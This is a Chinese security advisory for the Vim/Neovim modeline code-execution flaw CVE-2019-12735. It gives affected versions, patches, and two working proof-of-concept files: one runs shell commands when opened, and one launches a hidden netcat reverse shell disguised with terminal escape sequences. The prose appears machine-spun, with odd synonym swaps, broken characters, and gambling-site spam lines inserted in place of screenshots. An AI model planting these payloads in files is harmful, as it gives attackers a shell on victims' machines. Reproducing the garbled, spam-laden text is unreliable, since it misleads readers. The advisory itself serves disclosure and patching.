Vim和Neovim恣意代码执行误差清静通告

宣布时间 2019-06-06

误差编号和级别


CVE编号:CVE-2019-12735,危险级别:高危,CVSS分值:8.6


受影响的版本


Vim < 8.1.1365

Neovim < 0.3.6


误差概述


Vim是一款功效强盛、高度可定制的文本编辑器 。由于Vim在代码补全、编译及利便编程等方面很是强盛,因此在程序员中被普遍使用,成为类Unix系统用户最喜欢的文本编辑器之一 。


文本编辑器Vim/Neovim保存严重误差,通过翻开特殊结构的文本文件,模式行选项未被禁用的话,就可导致Vim/Neovim恣意代码执行误差 。误差成因是模式行中仅允许选项子集,若是选项的值包括一个表达式,就可以在沙箱中运行 。:source! 下令可绕过沙箱,它可以从既定文件中读取并执行下令,因此可以轻松构建在沙箱外允许运行代码的模式行 。


误差验证


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md 。


第一种:
测试版本如下:
 
尊龙凯时 - 人生就是搏!

1、建设poc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2、确保未禁用modeline选项(:set modeline)


使用如下下令审查下令位置


尊龙凯时 - 人生就是搏!

 
如下:
 

尊龙凯时 - 人生就是搏! 


尊龙凯时 - 人生就是搏!


3、在vim中翻开该txt


vim poc.txt
然后系统会执行 uname -a&&whoami

 

尊龙凯时 - 人生就是搏!


第二种,建设反弹shell


该PoC形貌了一种真实的攻击要领,其中一旦用户翻开文件就启动反弹shell 。 为了隐藏攻击,文件将在翻开时连忙重写 。 

别的,当使用cat打印内容时,PoC使用终端转义序列来隐藏下令行 。(而使用cat -v可以显示现实内容 。)


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

尊龙凯时 - 人生就是搏!


修复建议



升级到Vim 8.1.1365、Neovim 0.3.6或以上版本,别的建议禁用模式行,使用securemodelines插件 。


Vim补丁8.1.1365: 

https://github.com/vim/vim/commit/5357552


Neovim补� 。ㄔ趘0.3.6中宣布):
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


参考链接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md